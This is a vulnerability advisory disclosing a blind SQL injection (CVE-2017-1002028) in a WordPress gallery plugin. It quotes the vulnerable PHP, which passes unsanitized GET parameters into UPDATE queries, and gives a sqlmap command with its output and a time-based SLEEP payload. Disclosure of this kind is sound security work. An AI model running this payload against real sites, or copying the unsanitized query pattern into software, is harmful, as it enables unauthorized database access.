Advisory #: 199
Title: Blind SQL Injection in Wordpress plugin wordpress-gallery-transformation v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2017-07-22
CVE-ID:[CVE-2017-1002028]
CWE:
Download Site: https://wordpress.org/plugins/wordpress-gallery-transformation/
Vendor: http://angrybyte.com
Vendor Notified: 2017-08-07
Vendor Contact: plugins@wordpress.org
Advisory: http://www.vapidlabs.com/advisory.php?v=199
Description: Transforms word press into a gallery, wallpapers website, you name it.
Vulnerability:
SQL injection is in ./wordpress-gallery-transformation/gallery.php via $jpic parameter being unsanitized before being passed into an SQL query. -- 231- 232- $pfx=$wpdb->prefix; 233-dbcreator(); 234- if($_GET['picnj']){ 235- 236: $jpic=$_GET['picnj']; 237: $jnm=$_GET['nmj']; 238- $wpdb->query("update {$pfx}gallery set name='{$jnm}' where id=$jpic;"); 239- $wpdb->query("update {$pfx}gallery set rates=44"); 240- return 'ok?';
Export: JSON TEXT XML
Exploit Code:
  1. $ sqlmap --load-cookies=./cookie -u 'http://example.com/wp-admin/options-general.php?page=wordpress-gallery-transformation/gallery.php&picnj=*' --level 4 --risk 3 --dbms mysql
  2.  
  3.  
  4. URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
  5. sqlmap identified the following injection point(s) with a total of 2556 HTTP(s) requests:
  6. ---
  7. Parameter: #1* (URI)
  8.    Type: AND/OR time-based blind
  9.    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
  10.    Payload: http://example.com:80/wp-admin/options-general.php?page=wordpress-gallery-transformation/gallery.php&picnj=(CASE WHEN (4165=4165) THEN SLEEP(5) ELSE 4165 END)
  11. ---
  12. [13:16:53] [INFO] the back-end DBMS is MySQL
  13. web server operating system: Linux Ubuntu 16.04 (xenial)
  14. web application technology: Apache 2.4.18
  15. back-end DBMS: MySQL >= 5.0.12
  16. [13:16:53] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/example.com'
  17.  
  18. [*] shutting down at 13:16:53
Screen Shots:
Notes: